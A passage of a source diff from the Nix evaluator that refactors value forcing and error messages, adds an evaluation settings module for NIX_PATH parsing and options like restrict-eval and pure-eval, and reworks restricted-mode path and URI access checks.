and lookupVar fromWith expect this. */ return *env; @@ -80,56 +83,59 @@ Env & EvalState::allocEnv(size_t size) [[gnu::always_inline]] void EvalState::forceValue(Value & v, const PosIdx pos) -{ - forceValue(v, [&]() { return pos; }); -} - - -template -void EvalState::forceValue(Value & v, Callable getPos) { if (v.isThunk()) { - Env * env = v.thunk.env; - Expr * expr = v.thunk.expr; + Env * env = v.payload.thunk.env; + Expr * expr = v.payload.thunk.expr; try { v.mkBlackhole(); //checkInterrupt(); expr->eval(*this, *env, v); } catch (...) { v.mkThunk(env, expr); + tryFixupBlackHolePos(v, pos); throw; } } else if (v.isApp()) - callFunction(*v.app.left, *v.app.right, v, noPos); - else if (v.isBlackhole()) - throwEvalError(getPos(), "infinite recursion encountered"); + callFunction(*v.payload.app.left, *v.payload.app.right, v, pos); } [[gnu::always_inline]] -inline void EvalState::forceAttrs(Value & v, const PosIdx pos) +inline void EvalState::forceAttrs(Value & v, const PosIdx pos, std::string_view errorCtx) { - forceAttrs(v, [&]() { return pos; }); + forceAttrs(v, [&]() { return pos; }, errorCtx); } template [[gnu::always_inline]] -inline void EvalState::forceAttrs(Value & v, Callable getPos) +inline void EvalState::forceAttrs(Value & v, Callable getPos, std::string_view errorCtx) { - forceValue(v, getPos); - if (v.type() != nAttrs) - throwTypeError(getPos(), "value is %1% while a set was expected", v); + PosIdx pos = getPos(); + forceValue(v, pos); + if (v.type() != nAttrs) { + error( + "expected a set but found %1%: %2%", + showType(v), + ValuePrinter(*this, v, errorPrintOptions) + ).withTrace(pos, errorCtx).debugThrow(); + } } [[gnu::always_inline]] -inline void EvalState::forceList(Value & v, const PosIdx pos) +inline void EvalState::forceList(Value & v, const PosIdx pos, std::string_view errorCtx) { forceValue(v, pos); - if (!v.isList()) - throwTypeError(pos, "value is %1% while a list was expected", v); + if (!v.isList()) { + error( + "expected a list but found %1%: %2%", + showType(v), + ValuePrinter(*this, v, errorPrintOptions) + ).withTrace(pos, errorCtx).debugThrow(); + } } diff --git a/src/libexpr/eval-settings.cc b/src/libexpr/eval-settings.cc new file mode 100644 index 000000000..2846eccbc --- /dev/null +++ b/src/libexpr/eval-settings.cc @@ -0,0 +1,106 @@ +#include "users.hh" +#include "globals.hh" +#include "profiles.hh" +#include "eval.hh" +#include "eval-settings.hh" + +namespace nix { + +/* Very hacky way to parse $NIX_PATH, which is colon-separated, but + can contain URLs (e.g. "nixpkgs=https://bla...:foo=https://"). */ +Strings EvalSettings::parseNixPath(const std::string & s) +{ + Strings res; + + auto p = s.begin(); + + while (p != s.end()) { + auto start = p; + auto start2 = p; + + while (p != s.end() && *p != ':') { + if (*p == '=') start2 = p + 1; + ++p; + } + + if (p == s.end()) { + if (p != start) res.push_back(std::string(start, p)); + break; + } + + if (*p == ':') { + auto prefix = std::string(start2, s.end()); + if (EvalSettings::isPseudoUrl(prefix) || hasPrefix(prefix, "flake:")) { + ++p; + while (p != s.end() && *p != ':') ++p; + } + res.push_back(std::string(start, p)); + if (p == s.end()) break; + } + + ++p; + } + + return res; +} + +EvalSettings::EvalSettings(bool & readOnlyMode, EvalSettings::LookupPathHooks lookupPathHooks) + : readOnlyMode{readOnlyMode} + , lookupPathHooks{lookupPathHooks} +{ + auto var = getEnv("NIX_ABORT_ON_WARN"); + if (var && (var == "1" || var == "yes" || var == "true")) + builtinsAbortOnWarn = true; +} + +Strings EvalSettings::getDefaultNixPath() +{ + Strings res; + auto add = [&](const Path & p, const std::string & s = std::string()) { + if (pathAccessible(p)) { + if (s.empty()) { + res.push_back(p); + } else { + res.push_back(s + "=" + p); + } + } + }; + + add(getNixDefExpr() + "/channels"); + add(rootChannelsDir() + "/nixpkgs", "nixpkgs"); + add(rootChannelsDir()); + + return res; +} + +bool EvalSettings::isPseudoUrl(std::string_view s) +{ + if (s.compare(0, 8, "channel:") == 0) return true; + size_t pos = s.find("://"); + if (pos == std::string::npos) return false; + std::string scheme(s, 0, pos); + return scheme == "http" || scheme == "https" || scheme == "file" || scheme == "channel" || scheme == "git" || scheme == "s3" || scheme == "ssh"; +} + +std::string EvalSettings::resolvePseudoUrl(std::string_view url) +{ + if (hasPrefix(url, "channel:")) + return "https://nixos.org/channels/" + std::string(url.substr(8)) + "/nixexprs.tar.xz"; + else + return std::string(url); +} + +const std::string & EvalSettings::getCurrentSystem() const +{ + const auto & evalSystem = currentSystem.get(); + return evalSystem != "" ? evalSystem : settings.thisSystem.get(); +} + +Path getNixDefExpr() +{ + return settings.useXDGBaseDirectories + ? getStateDir() + "/nix/defexpr" + : getHome() + "/.nix-defexpr"; +} + +} diff --git a/src/libexpr/eval-settings.hh b/src/libexpr/eval-settings.hh new file mode 100644 index 000000000..3d412bbbf --- /dev/null +++ b/src/libexpr/eval-settings.hh @@ -0,0 +1,248 @@ +#pragma once +///@file + +#include "config.hh" +#include "ref.hh" + +namespace nix { + +class Store; + +struct EvalSettings : Config +{ + /** + * Function used to interpet look path entries of a given scheme. + * + * The argument is the non-scheme part of the lookup path entry (see + * `LookupPathHooks` below). + * + * The return value is (a) whether the entry was valid, and, if so, + * what does it map to. + * + * @todo Return (`std::optional` of) `SourceAccssor` or something + * more structured instead of mere `std::string`? + */ + using LookupPathHook = std::optional(ref store, std::string_view); + + /** + * Map from "scheme" to a `LookupPathHook`. + * + * Given a lookup path value (i.e. either the whole thing, or after + * the `=`) in the form of: + * + * ``` + * : + * ``` + * + * if `` is a key in this map, then `` is + * passed to the hook that is the value in this map. + */ + using LookupPathHooks = std::map>; + + EvalSettings(bool & readOnlyMode, LookupPathHooks lookupPathHooks = {}); + + bool & readOnlyMode; + + static Strings getDefaultNixPath(); + + static bool isPseudoUrl(std::string_view s); + + static Strings parseNixPath(const std::string & s); + + static std::string resolvePseudoUrl(std::string_view url); + + LookupPathHooks lookupPathHooks; + + Setting enableNativeCode{this, false, "allow-unsafe-native-code-during-evaluation", R"( + Enable built-in functions that allow executing native code. + + In particular, this adds: + - `builtins.importNative` *path* *symbol* + + Opens dynamic shared object (DSO) at *path*, loads the function with the symbol name *symbol* from it and runs it. + The loaded function must have the following signature: + ```cpp + extern "C" typedef void (*ValueInitialiser) (EvalState & state, Value & v); + ``` + + The [Nix C++ API documentation](@docroot@/development/documentation.md#api-documentation) has more details on evaluator internals. + + - `builtins.exec` *arguments* + + Execute a program, where *arguments* are specified as a list of strings, and parse its output as a Nix expression. + )"}; + + Setting nixPath{ + this, {}, "nix-path", + R"( + List of search paths to use for [lookup path](@docroot@/language/constructs/lookup-path.md) resolution. + This setting determines the value of + [`builtins.nixPath`](@docroot@/language/builtins.md#builtins-nixPath) and can be used with [`builtins.findFile`](@docroot@/language/builtins.md#builtins-findFile). + + - The configuration setting is overridden by the [`NIX_PATH`](@docroot@/command-ref/env-common.md#env-NIX_PATH) + environment variable. + - `NIX_PATH` is overridden by [specifying the setting as the command line flag](@docroot@/command-ref/conf-file.md#command-line-flags) `--nix-path`. + - Any current value is extended by the [`-I` option](@docroot@/command-ref/opt-common.md#opt-I) or `--extra-nix-path`. + + If the respective paths are accessible, the default values are: + + - `$HOME/.nix-defexpr/channels` + - `nixpkgs=$NIX_STATE_DIR/profiles/per-user/root/channels/nixpkgs` + - `$NIX_STATE_DIR/profiles/per-user/root/channels` + + See [`NIX_STATE_DIR`](@docroot@/command-ref/env-common.md#env-NIX_STATE_DIR) for details. + + > **Note** + > + > If [restricted evaluation](@docroot@/command-ref/conf-file.md#conf-restrict-eval) is enabled, the default value is empty. + > + > If [pure evaluation](#conf-pure-eval) is enabled, `builtins.nixPath` *always* evaluates to the empty list `[ ]`. + )", {}, false}; + + Setting currentSystem{ + this, "", "eval-system", + R"( + This option defines + [`builtins.currentSystem`](@docroot@/language/builtins.md#builtins-currentSystem) + in the Nix language if it is set as a non-empty string. + Otherwise, if it is defined as the empty string (the default), the value of the + [`system` ](#conf-system) + configuration setting is used instead. + + Unlike `system`, this setting does not change what kind of derivations can be built locally. + This is useful for evaluating Nix code on one system to produce derivations to be built on another type of system. + )"}; + + /** + * Implements the `eval-system` vs `system` defaulting logic + * described for `eval-system`. + */ + const std::string & getCurrentSystem() const; + + Setting restrictEval{ + this, false, "restrict-eval", + R"( + If set to `true`, the Nix evaluator will not allow access to any + files outside of + [`builtins.nixPath`](@docroot@/language/builtins.md#builtins-nixPath), + or to URIs outside of + [`allowed-uris`](@docroot@/command-ref/conf-file.md#conf-allowed-uris). + )"}; + + Setting pureEval{this, false, "pure-eval", + R"( + Pure evaluation mode ensures that the result of Nix expressions is fully determined by explicitly declared inputs, and not influenced by external state: + + - Restrict file system and network access to files specified by cryptographic hash + - Disable impure constants: + - [`builtins.currentSystem`](@docroot@/language/builtins.md#builtins-currentSystem) + - [`builtins.currentTime`](@docroot@/language/builtins.md#builtins-currentTime) + - [`builtins.nixPath`](@docroot@/language/builtins.md#builtins-nixPath) + - [`builtins.storePath`](@docroot@/language/builtins.md#builtins-storePath) + )" + }; + + Setting enableImportFromDerivation{ + this, true, "allow-import-from-derivation", + R"( + By default, Nix allows [Import from Derivation](@docroot@/language/import-from-derivation.md). + + With this option set to `false`, Nix will throw an error when evaluating an expression that uses this feature, + even when the required store object is readily available. + This ensures that evaluation will not require any builds to take place, + regardless of the state of the store. + )"}; + + Setting allowedUris{this, {}, "allowed-uris", + R"( + A list of URI prefixes to which access is allowed in restricted + evaluation mode. For example, when set to + `https://github.com/NixOS`, builtin functions such as `fetchGit` are + allowed to access `https://github.com/NixOS/patchelf.git`. + + Access is granted when + - the URI is equal to the prefix, + - or the URI is a subpath of the prefix, + - or the prefix is a URI scheme ended by a colon `:` and the URI has the same scheme. + )"}; + + Setting traceFunctionCalls{this, false, "trace-function-calls", + R"( + If set to `true`, the Nix evaluator will trace every function call. + Nix will print a log message at the "vomit" level for every function + entrance and function exit. + + function-trace entered undefined position at 1565795816999559622 + function-trace exited undefined position at 1565795816999581277 + function-trace entered /nix/store/.../example.nix:226:41 at 1565795253249935150 + function-trace exited /nix/store/.../example.nix:226:41 at 1565795253249941684 + + The `undefined position` means the function call is a builtin. + + Use the `contrib/stack-collapse.py` script distributed with the Nix + source code to convert the trace logs in to a format suitable for + `flamegraph.pl`. + )"}; + + Setting useEvalCache{this, true, "eval-cache", + R"( + Whether to use the flake evaluation cache. + Certain commands won't have to evaluate when invoked for the second time with a particular version of a flake. + Intermediate results are not cached. + )"}; + + Setting ignoreExceptionsDuringTry{this, false, "ignore-try", + R"( + If set to true, ignore exceptions inside 'tryEval' calls when evaluating nix expressions in + debug mode (using the --debugger flag). By default the debugger will pause on all exceptions. + )"}; + + Setting traceVerbose{this, false, "trace-verbose", + "Whether `builtins.traceVerbose` should trace its first argument when evaluated."}; + + Setting maxCallDepth{this, 10000, "max-call-depth", + "The maximum function call depth to allow before erroring."}; + + Setting builtinsTraceDebugger{this, false, "debugger-on-trace", + R"( + If set to true and the `--debugger` flag is given, the following functions + will enter the debugger like [`builtins.break`](@docroot@/language/builtins.md#builtins-break). + + * [`builtins.trace`](@docroot@/language/builtins.md#builtins-trace) + * [`builtins.traceVerbose`](@docroot@/language/builtins.md#builtins-traceVerbose) + if [`trace-verbose`](#conf-trace-verbose) is set to true. + * [`builtins.warn`](@docroot@/language/builtins.md#builtins-warn) + + This is useful for debugging warnings in third-party Nix code. + )"}; + + Setting builtinsDebuggerOnWarn{this, false, "debugger-on-warn", + R"( + If set to true and the `--debugger` flag is given, [`builtins.warn`](@docroot@/language/builtins.md#builtins-warn) + will enter the debugger like [`builtins.break`](@docroot@/language/builtins.md#builtins-break). + + This is useful for debugging warnings in third-party Nix code. + + Use [`debugger-on-trace`](#conf-debugger-on-trace) to also enter the debugger on legacy warnings that are logged with [`builtins.trace`](@docroot@/language/builtins.md#builtins-trace). + )"}; + + Setting builtinsAbortOnWarn{this, false, "abort-on-warn", + R"( + If set to true, [`builtins.warn`](@docroot@/language/builtins.md#builtins-warn) will throw an error when logging a warning. + + This will give you a stack trace that leads to the location of the warning. + + This is useful for finding information about warnings in third-party Nix code when you can not start the interactive debugger, such as when Nix is called from a non-interactive script. See [`debugger-on-warn`](#conf-debugger-on-warn). + + Currently, a stack trace can only be produced when the debugger is enabled, or when evaluation is aborted. + + This option can be enabled by setting `NIX_ABORT_ON_WARN=1` in the environment. + )"}; +}; + +/** + * Conventionally part of the default nix path in impure mode. + */ +Path getNixDefExpr(); + +} diff --git a/src/libexpr/eval.cc b/src/libexpr/eval.cc index 084ccbee2..92320b554 100644 --- a/src/libexpr/eval.cc +++ b/src/libexpr/eval.cc @@ -1,40 +1,56 @@ #include "eval.hh" -#include "hash.hh" +#include "eval-gc.hh" +#include "eval-settings.hh" +#include "primops.hh" +#include "print-options.hh" +#include "exit.hh" #include "types.hh" #include "util.hh" #include "store-api.hh" #include "derivations.hh" -#include "globals.hh" +#include "downstream-placeholder.hh" #include "eval-inline.hh" #include "filetransfer.hh" #include "function-trace.hh" +#include "profiles.hh" +#include "print.hh" +#include "filtering-source-accessor.hh" +#include "memory-source-accessor.hh" +#include "gc-small-vector.hh" +#include "url.hh" +#include "fetch-to-store.hh" +#include "tarball.hh" +#include "parser-tab.hh" #include -#include +#include +#include #include +#include #include #include -#include -#include #include #include -#include #include +#include + +#ifndef _WIN32 // TODO use portable implementation +# include +#endif #if HAVE_BOEHMGC -#define GC_INCLUDE_NEW +# define GC_INCLUDE_NEW -#include -#include - -#include -#include -#include +# include +# include +# include #endif +#include "strings-inline.hh" + using json = nlohmann::json; namespace nix { @@ -67,22 +83,19 @@ static char * dupString(const char * s) // When there's no need to write to the string, we can optimize away empty // string allocations. -// This function handles makeImmutableStringWithLen(null, 0) by returning the -// empty string. -static const char * makeImmutableStringWithLen(const char * s, size_t size) +// This function handles makeImmutableString(std::string_view()) by returning +// the empty string. +static const char * makeImmutableString(std::string_view s) { + const size_t size = s.size(); if (size == 0) return ""; auto t = allocString(size + 1); - memcpy(t, s, size); - t[size] = 0; + memcpy(t, s.data(), size); + t[size] = '\0'; return t; } -static inline const char * makeImmutableString(std::string_view s) { - return makeImmutableStringWithLen(s.data(), s.size()); -} - RootValue allocRootValue(Value * v) { @@ -93,165 +106,85 @@ RootValue allocRootValue(Value * v) #endif } - -void Value::print(const SymbolTable & symbols, std::ostream & str, - std::set * seen) const -{ - checkInterrupt(); - - switch (internalType) { - case tInt: - str << integer; - break; - case tBool: - str << (boolean ? "true" : "false"); - break; - case tString: - str << "\""; - for (const char * i = string.s; *i; i++) - if (*i == '\"' || *i == '\\') str << "\\" << *i; - else if (*i == '\n') str << "\\n"; - else if (*i == '\r') str << "\\r"; - else if (*i == '\t') str << "\\t"; - else if (*i == '$' && *(i+1) == '{') str << "\\" << *i; - else str << *i; - str << "\""; - break; - case tPath: - str << path; // !!! escaping? - break; - case tNull: - str << "null"; - break; - case tAttrs: { - if (seen && !attrs->empty() && !seen->insert(attrs).second) - str << "«repeated»"; - else { - str << "{ "; - for (auto & i : attrs->lexicographicOrder(symbols)) { - str << symbols[i->name] << " = "; - i->value->print(symbols, str, seen); - str << "; "; - } - str << "}"; - } - break; - } - case tList1: - case tList2: - case tListN: - if (seen && listSize() && !seen->insert(listElems()).second) - str << "«repeated»"; - else { - str << "[ "; - for (auto v2 : listItems()) { - if (v2) - v2->print(symbols, str, seen); - else - str << "(nullptr)"; - str << " "; - } - str << "]"; - } - break; - case tThunk: - case tApp: - str << ""; - break; - case tLambda: - str << ""; - break; - case tPrimOp: - str << ""; - break; - case tPrimOpApp: - str << ""; - break; - case tExternal: - str << *external; - break; - case tFloat: - str << fpoint; - break; - default: - abort(); - } -} - - -void Value::print(const SymbolTable & symbols, std::ostream & str, bool showRepeated) const -{ - std::set seen; - print(symbols, str, showRepeated ? nullptr : &seen); -} - // Pretty print types for assertion errors std::ostream & operator << (std::ostream & os, const ValueType t) { os << showType(t); return os; } -std::string printValue(const EvalState & state, const Value & v) +std::string printValue(EvalState & state, Value & v) { std::ostringstream out; - v.print(state.symbols, out); + v.print(state, out); return out.str(); } +void Value::print(EvalState & state, std::ostream & str, PrintOptions options) +{ + printValue(state, str, *this, options); +} const Value * getPrimOp(const Value &v) { const Value * primOp = &v; while (primOp->isPrimOpApp()) { - primOp = primOp->primOpApp.left; + primOp = primOp->payload.primOpApp.left; } assert(primOp->isPrimOp()); return primOp; } -std::string_view showType(ValueType type) +std::string_view showType(ValueType type, bool withArticle) { + #define WA(a, w) withArticle ? a " " w : w switch (type) { - case nInt: return "an integer"; - case nBool: return "a Boolean"; - case nString: return "a string"; - case nPath: return "a path"; + case nInt: return WA("an", "integer"); + case nBool: return WA("a", "Boolean"); + case nString: return WA("a", "string"); + case nPath: return WA("a", "path"); case nNull: return "null"; - case nAttrs: return "a set"; - case nList: return "a list"; - case nFunction: return "a function"; - case nExternal: return "an external value"; - case nFloat: return "a float"; - case nThunk: return "a thunk"; + case nAttrs: return WA("a", "set"); + case nList: return WA("a", "list"); + case nFunction: return WA("a", "function"); + case nExternal: return WA("an", "external value"); + case nFloat: return WA("a", "float"); + case nThunk: return WA("a", "thunk"); } - abort(); + unreachable(); } std::string showType(const Value & v) { + // Allow selecting a subset of enum values + #pragma GCC diagnostic push + #pragma GCC diagnostic ignored "-Wswitch-enum" switch (v.internalType) { - case tString: return v.string.context ? "a string with context" : "a string"; + case tString: return v.payload.string.context ? "a string with context" : "a string"; case tPrimOp: - return fmt("the built-in function '%s'", std::string(v.primOp->name)); + return fmt("the built-in function '%s'", std::string(v.payload.primOp->name)); case tPrimOpApp: - return fmt("the partially applied built-in function '%s'", std::string(getPrimOp(v)->primOp->name)); - case tExternal: return v.external->showType(); - case tThunk: return "a thunk"; + return fmt("the partially applied built-in function '%s'", std::string(getPrimOp(v)->payload.primOp->name)); + case tExternal: return v.external()->showType(); + case tThunk: return v.isBlackhole() ? "a black hole" : "a thunk"; case tApp: return "a function application"; - case tBlackhole: return "a black hole"; default: return std::string(showType(v.type())); } + #pragma GCC diagnostic pop } PosIdx Value::determinePos(const PosIdx pos) const { + // Allow selecting a subset of enum values + #pragma GCC diagnostic push + #pragma GCC diagnostic ignored "-Wswitch-enum" switch (internalType) { - case tAttrs: return attrs->pos; - case tLambda: return lambda.fun->pos; - case tApp: return app.left->determinePos(pos); + case tAttrs: return attrs()->pos; + case tLambda: return payload.lambda.fun->pos; + case tApp: return payload.app.left->determinePos(pos); default: return pos; } + #pragma GCC diagnostic pop } bool Value::isTrivial() const @@ -260,60 +193,13 @@ bool Value::isTrivial() const internalType != tApp && internalType != tPrimOpApp && (internalType != tThunk - || (dynamic_cast(thunk.expr) - && ((ExprAttrs *) thunk.expr)->dynamicAttrs.empty()) - || dynamic_cast(thunk.expr) - || dynamic_cast(thunk.expr)); + || (dynamic_cast(payload.thunk.expr) + && ((ExprAttrs *) payload.thunk.expr)->dynamicAttrs.empty()) + || dynamic_cast(payload.thunk.expr) + || dynamic_cast(payload.thunk.expr)); } -#if HAVE_BOEHMGC -/* Called when the Boehm GC runs out of memory. */ -static void * oomHandler(size_t requested) -{ - /* Convert this to a proper C++ exception. */ - throw std::bad_alloc(); -} - -class BoehmGCStackAllocator : public StackAllocator { - boost::coroutines2::protected_fixedsize_stack stack { - // We allocate 8 MB, the default max stack size on NixOS. - // A smaller stack might be quicker to allocate but reduces the stack - // depth available for source filter expressions etc. - std::max(boost::context::stack_traits::default_size(), static_cast(8 * 1024 * 1024)) - }; - - // This is specific to boost::coroutines2::protected_fixedsize_stack. - // The stack protection page is included in sctx.size, so we have to - // subtract one page size from the stack size. - std::size_t pfss_usable_stack_size(boost::context::stack_context &sctx) { - return sctx.size - boost::context::stack_traits::page_size(); - } - - public: - boost::context::stack_context allocate() override { - auto sctx = stack.allocate(); - - // Stacks generally start at a high address and grow to lower addresses. - // Architectures that do the opposite are rare; in fact so rare that - // boost_routine does not implement it. - // So we subtract the stack size. - GC_add_roots(static_cast(sctx.sp) - pfss_usable_stack_size(sctx), sctx.sp); - return sctx; - } - - void deallocate(boost::context::stack_context sctx) override { - GC_remove_roots(static_cast(sctx.sp) - pfss_usable_stack_size(sctx), sctx.sp); - stack.deallocate(sctx); - } - -}; - -static BoehmGCStackAllocator boehmGCStackAllocator; - -#endif - - static Symbol getName(const AttrName & name, EvalState & state, Env & env) { if (name.symbol) { @@ -321,108 +207,22 @@ static Symbol getName(const AttrName & name, EvalState & state, Env & env) } else { Value nameValue; name.expr->eval(state, env, nameValue); - state.forceStringNoCtx(nameValue); - return state.symbols.create(nameValue.string.s); + state.forceStringNoCtx(nameValue, name.expr->getPos(), "while evaluating an attribute name"); + return state.symbols.create(nameValue.string_view()); } } - -static bool gcInitialised = false; - -void initGC() -{ - if (gcInitialised) return; - -#if HAVE_BOEHMGC - /* Initialise the Boehm garbage collector. */ - - /* Don't look for interior pointers. This reduces the odds of - misdetection a bit. */ - GC_set_all_interior_pointers(0); - - /* We don't have any roots in data segments, so don't scan from - there. */ - GC_set_no_dls(1); - - GC_INIT(); - - GC_set_oom_fn(oomHandler); - - StackAllocator::defaultAllocator = &boehmGCStackAllocator; - - /* Set the initial heap size to something fairly big (25% of - physical RAM, up to a maximum of 384 MiB) so that in most cases - we don't need to garbage collect at all. (Collection has a - fairly significant overhead.) The heap size can be overridden - through libgc's GC_INITIAL_HEAP_SIZE environment variable. We - should probably also provide a nix.conf setting for this. Note - that GC_expand_hp() causes a lot of virtual, but not physical - (resident) memory to be allocated. This might be a problem on - systems that don't overcommit. */ - if (!getEnv("GC_INITIAL_HEAP_SIZE")) { - size_t size = 32 * 1024 * 1024; -#if HAVE_SYSCONF && defined(_SC_PAGESIZE) && defined(_SC_PHYS_PAGES) - size_t maxSize = 384 * 1024 * 1024; - long pageSize = sysconf(_SC_PAGESIZE); - long pages = sysconf(_SC_PHYS_PAGES); - if (pageSize != -1) - size = (pageSize * pages) / 4; // 25% of RAM - if (size > maxSize) size = maxSize; -#endif - debug(format("setting initial heap size to %1% bytes") % size); - GC_expand_hp(size); - } - -#endif - - gcInitialised = true; -} - - -/* Very hacky way to parse $NIX_PATH, which is colon-separated, but - can contain URLs (e.g. "nixpkgs=https://bla...:foo=https://"). */ -static Strings parseNixPath(const std::string & s) -{ - Strings res; - - auto p = s.begin(); - - while (p != s.end()) { - auto start = p; - auto start2 = p; - - while (p != s.end() && *p != ':') { - if (*p == '=') start2 = p + 1; - ++p; - } - - if (p == s.end()) { - if (p != start) res.push_back(std::string(start, p)); - break; - } - - if (*p == ':') { - auto prefix = std::string(start2, s.end()); - if (EvalSettings::isPseudoUrl(prefix) || hasPrefix(prefix, "flake:")) { - ++p; - while (p != s.end() && *p != ':') ++p; - } - res.push_back(std::string(start, p)); - if (p == s.end()) break; - } - - ++p; - } - - return res; -} - +static constexpr size_t BASE_ENV_SIZE = 128; EvalState::EvalState( - const Strings & _searchPath, + const LookupPath & lookupPathFromArguments, ref store, + const fetchers::Settings & fetchSettings, + const EvalSettings & settings, std::shared_ptr buildStore) - : sWith(symbols.create("")) + : fetchSettings{fetchSettings} + , settings{settings} + , sWith(symbols.create("")) , sOutPath(symbols.create("outPath")) , sDrvPath(symbols.create("drvPath")) , sType(symbols.create("type")) @@ -442,6 +242,12 @@ EvalState::EvalState( , sRight(symbols.create("right")) , sWrong(symbols.create("wrong")) , sStructuredAttrs(symbols.create("__structuredAttrs")) + , sAllowedReferences(symbols.create("allowedReferences")) + , sAllowedRequisites(symbols.create("allowedRequisites")) + , sDisallowedReferences(symbols.create("disallowedReferences")) + , sDisallowedRequisites(symbols.create("disallowedRequisites")) + , sMaxSize(symbols.create("maxSize")) + , sMaxClosureSize(symbols.create("maxClosureSize")) , sBuilder(symbols.create("builder")) , sArgs(symbols.create("args")) , sContentAddressed(symbols.create("__contentAddressed")) @@ -459,57 +265,99 @@ EvalState::EvalState( , sPath(symbols.create("path")) , sPrefix(symbols.create("prefix")) , sOutputSpecified(symbols.create("outputSpecified")) + , exprSymbols{ + .sub = symbols.create("__sub"), + .lessThan = symbols.create("__lessThan"), + .mul = symbols.create("__mul"), + .div = symbols.create("__div"), + .or_ = symbols.create("or"), + .findFile = symbols.create("__findFile"), + .nixPath = symbols.create("__nixPath"), + .body = symbols.create("body"), + } , repair(NoRepair) , emptyBindings(0) + , rootFS( + settings.restrictEval || settings.pureEval + ? ref(AllowListSourceAccessor::create(getFSSourceAccessor(), {}, + [&settings](const CanonPath & path) -> RestrictedPathError { + auto modeInformation = settings.pureEval + ? "in pure evaluation mode (use '--impure' to override)" + : "in restricted mode"; + throw RestrictedPathError("access to absolute path '%1%' is forbidden %2%", path, modeInformation); + })) + : getFSSourceAccessor()) + , corepkgsFS(make_ref()) + , internalFS(make_ref()) + , derivationInternal{corepkgsFS->addFile( + CanonPath("derivation-internal.nix"), + #include "primops/derivation.nix.gen.hh" + )} + , callFlakeInternal{internalFS->addFile( + CanonPath("call-flake.nix"), + #include "call-flake.nix.gen.hh" + )} , store(store) , buildStore(buildStore ? buildStore : store) , debugRepl(nullptr) , debugStop(false) - , debugQuit(false) , trylevel(0) , regexCache(makeRegexCache()) #if HAVE_BOEHMGC , valueAllocCache(std::allocate_shared(traceable_allocator(), nullptr)) , env1AllocCache(std::allocate_shared(traceable_allocator(), nullptr)) + , baseEnvP(std::allocate_shared(traceable_allocator(), &allocEnv(BASE_ENV_SIZE))) + , baseEnv(**baseEnvP) +#else + , baseEnv(allocEnv(BASE_ENV_SIZE)) #endif - , baseEnv(allocEnv(128)) - , staticBaseEnv{std::make_shared(false, nullptr)} + , staticBaseEnv{std::make_shared(nullptr, nullptr)} { + corepkgsFS->setPathDisplay(""); + internalFS->setPathDisplay("«nix-internal»", ""); + countCalls = getEnv("NIX_COUNT_CALLS").value_or("0") != "0"; - assert(gcInitialised); + assertGCInitialized(); static_assert(sizeof(Env) <= 16, "environment must be <= 16 bytes"); - /* Initialise the Nix expression search path. */ - if (!evalSettings.pureEval) { - for (auto & i : _searchPath) addToSearchPath(i); - for (auto & i : evalSettings.nixPath.get()) addToSearchPath(i); - } + vEmptyList.mkList(buildList(0)); + vNull.mkNull(); + vTrue.mkBool(true); + vFalse.mkBool(false); + vStringRegular.mkString("regular"); + vStringDirectory.mkString("directory"); + vStringSymlink.mkString("symlink"); + vStringUnknown.mkString("unknown"); - if (evalSettings.restrictEval || evalSettings.pureEval) { - allowedPaths = PathSet(); - - for (auto & i : searchPath) { - auto r = resolveSearchPathElem(i); - if (!r.first) continue; - - auto path = r.second; - - if (store->isInStore(r.second)) { - try { - StorePathSet closure; - store->computeFSClosure(store->toStorePath(r.second).first, closure); - for (auto & path : closure) - allowPath(path); - } catch (InvalidPath &) { - allowPath(r.second); - } - } else - allowPath(r.second); + /* Construct the Nix expression search path. */ + assert(lookupPath.elements.empty()); + if (!settings.pureEval) { + for (auto & i : lookupPathFromArguments.elements) { + lookupPath.elements.emplace_back(LookupPath::Elem {i}); + } + /* $NIX_PATH overriding regular settings is implemented as a hack in `initGC()` */ + for (auto & i : settings.nixPath.get()) { + lookupPath.elements.emplace_back(LookupPath::Elem::parse(i)); + } + if (!settings.restrictEval) { + for (auto & i : EvalSettings::getDefaultNixPath()) { + lookupPath.elements.emplace_back(LookupPath::Elem::parse(i)); + } } } + /* Allow access to all paths in the search path. */ + if (rootFS.dynamic_pointer_cast()) + for (auto & i : lookupPath.elements) + resolveLookupPathPath(i.path, true); + + corepkgsFS->addFile( + CanonPath("fetchurl.nix"), + #include "fetchurl.nix.gen.hh" + ); + createBaseEnv(); } @@ -521,96 +369,74 @@ EvalState::~EvalState() void EvalState::allowPath(const Path & path) { - if (allowedPaths) - allowedPaths->insert(path); + if (auto rootFS2 = rootFS.dynamic_pointer_cast()) + rootFS2->allowPrefix(CanonPath(path)); } void EvalState::allowPath(const StorePath & storePath) { - if (allowedPaths) - allowedPaths->insert(store->toRealPath(storePath)); + if (auto rootFS2 = rootFS.dynamic_pointer_cast()) + rootFS2->allowPrefix(CanonPath(store->toRealPath(storePath))); } void EvalState::allowAndSetStorePathString(const StorePath & storePath, Value & v) { allowPath(storePath); - auto path = store->printStorePath(storePath); - v.mkString(path, PathSet({path})); + mkStorePathString(storePath, v); } -Path EvalState::checkSourcePath(const Path & path_) +inline static bool isJustSchemePrefix(std::string_view prefix) { - if (!allowedPaths) return path_; - - auto i = resolvedPaths.find(path_); - if (i != resolvedPaths.end()) - return i->second; - - bool found = false; - - /* First canonicalize the path without symlinks, so we make sure an - * attacker can't append ../../... to a path that would be in allowedPaths - * and thus leak symlink targets. - */ - Path abspath = canonPath(path_); - - if (hasPrefix(abspath, corepkgsPrefix)) return abspath; - - for (auto & i : *allowedPaths) { - if (isDirOrInDir(abspath, i)) { - found = true; - break; - } - } - - if (!found) { - auto modeInformation = evalSettings.pureEval - ? "in pure eval mode (use '--impure' to override)" - : "in restricted mode"; - throw RestrictedPathError("access to absolute path '%1%' is forbidden %2%", abspath, modeInformation); - } - - /* Resolve symlinks. */ - debug(format("checking access to '%s'") % abspath); - Path path = canonPath(abspath, true); - - for (auto & i : *allowedPaths) { - if (isDirOrInDir(path, i)) { - resolvedPaths[path_] = path; - return path; - } - } - - throw RestrictedPathError("access to canonical path '%1%' is forbidden in restricted mode", path); + return + !prefix.empty() + && prefix[prefix.size() - 1] == ':' + && isValidSchemeName(prefix.substr(0, prefix.size() - 1)); } +bool isAllowedURI(std::string_view uri, const Strings & allowedUris) +{ + /* 'uri' should be equal to a prefix, or in a subdirectory of a + prefix. Thus, the prefix https://github.co does not permit + access to https://github.com. */ + for (auto & prefix : allowedUris) { + if (uri == prefix + // Allow access to subdirectories of the prefix. + || (uri.size() > prefix.size() + && prefix.size() > 0 + && hasPrefix(uri, prefix) + && ( + // Allow access to subdirectories of the prefix. + prefix[prefix.size() - 1] == '/' + || uri[prefix.size()] == '/' + + // 